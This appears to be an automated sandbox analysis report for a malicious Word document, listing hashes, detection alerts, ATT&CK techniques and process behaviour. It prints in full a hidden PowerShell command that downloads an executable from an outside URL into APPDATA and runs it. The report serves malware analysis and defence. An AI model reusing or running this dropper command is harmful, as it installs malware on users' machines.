7e26e15cc181d3caec107bfd274e596064eef94dc11b3abde6738b53a0b6cd5b

General

Target

7e26e15cc181d3caec107bfd274e596064eef94dc11b3abde6738b53a0b6cd5b.doc
Size

36KB
MD5

441e1f32c93a73ea3dd3ad1951867dec
SHA1

9daa0fedc53972fce95b11394b8a9ee368c59130
SHA256

7e26e15cc181d3caec107bfd274e596064eef94dc11b3abde6738b53a0b6cd5b
SHA512

53cde8fc0d98247f9601a812b2fc0943d745e3c6ad9a4dba77a8416d76e02562b2538760c64339df027551c61294f81275c573945e02d730b1cfe30b781be539

Score

10^/10

suricata

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://swanescranes.com.au/xuploads/Pi.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2520	4724	powershell.exe	WINWORD.EXE

suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

10 2520 powershell.exe
15 2520 powershell.exe

flow	pid	process
10	2520	powershell.exe
15	2520	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4724 WINWORD.EXE
4724 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exe

pid process

2520 powershell.exe
2520 powershell.exe
2520 powershell.exe
2520 powershell.exe
2520 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2520 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

4724 WINWORD.EXE
4724 WINWORD.EXE
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4724 WINWORD.EXE
4724 WINWORD.EXE
4724 WINWORD.EXE
4724 WINWORD.EXE
4724 WINWORD.EXE
4724 WINWORD.EXE
4724 WINWORD.EXE

pid	process
4724	WINWORD.EXE
4724	WINWORD.EXE

pid	process
2520	powershell.exe
2520	powershell.exe
2520	powershell.exe
2520	powershell.exe
2520	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2520	powershell.exe

pid	process
4724	WINWORD.EXE
4724	WINWORD.EXE

pid	process
4724	WINWORD.EXE
4724	WINWORD.EXE
4724	WINWORD.EXE
4724	WINWORD.EXE
4724	WINWORD.EXE
4724	WINWORD.EXE
4724	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 4724 wrote to memory of 2520	4724	WINWORD.EXE	powershell.exe
PID 4724 wrote to memory of 2520	4724	WINWORD.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7e26e15cc181d3caec107bfd274e596064eef94dc11b3abde6738b53a0b6cd5b.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4724

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -noprofile If (test-path $env:APPDATA + '\erse.exe') {Remove-Item $env:APPDATA + '\erse.exe'}; $FKAOP = New-Object System.Net.WebClient; $FKAOP.Headers['User-Agent'] = 'FKAOP'; $FKAOP.DownloadFile('https://swanescranes.com.au/xuploads/Pi.exe', $env:APPDATA + '\erse.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\erse.exe'); Stop-Process -Id $Pid -Force
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2520

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/2520-137-0x0000000000000000-mapping.dmp

Download
memory/2520-140-0x00007FFA4EB10000-0x00007FFA4F5D1000-memory.dmp

Filesize
10.8MB

Download
memory/2520-139-0x00007FFA4EB10000-0x00007FFA4F5D1000-memory.dmp

Filesize
10.8MB

Download
memory/2520-138-0x000001BF755B0000-0x000001BF755D2000-memory.dmp

Filesize
136KB

Download
memory/4724-133-0x00007FFA3A5F0000-0x00007FFA3A600000-memory.dmp

Filesize
64KB

Download
memory/4724-135-0x00007FFA37F00000-0x00007FFA37F10000-memory.dmp

Filesize
64KB

Download
memory/4724-136-0x00007FFA37F00000-0x00007FFA37F10000-memory.dmp

Filesize
64KB

Download
memory/4724-134-0x00007FFA3A5F0000-0x00007FFA3A600000-memory.dmp

Filesize
64KB

Download
memory/4724-130-0x00007FFA3A5F0000-0x00007FFA3A600000-memory.dmp

Filesize
64KB

Download
memory/4724-132-0x00007FFA3A5F0000-0x00007FFA3A600000-memory.dmp

Filesize
64KB

Download
memory/4724-131-0x00007FFA3A5F0000-0x00007FFA3A600000-memory.dmp

Filesize
64KB

Download
memory/4724-142-0x00007FFA3A5F0000-0x00007FFA3A600000-memory.dmp

Filesize
64KB

Download
memory/4724-143-0x00007FFA3A5F0000-0x00007FFA3A600000-memory.dmp

Filesize
64KB

Download
memory/4724-144-0x00007FFA3A5F0000-0x00007FFA3A600000-memory.dmp

Filesize
64KB

Download
memory/4724-145-0x00007FFA3A5F0000-0x00007FFA3A600000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads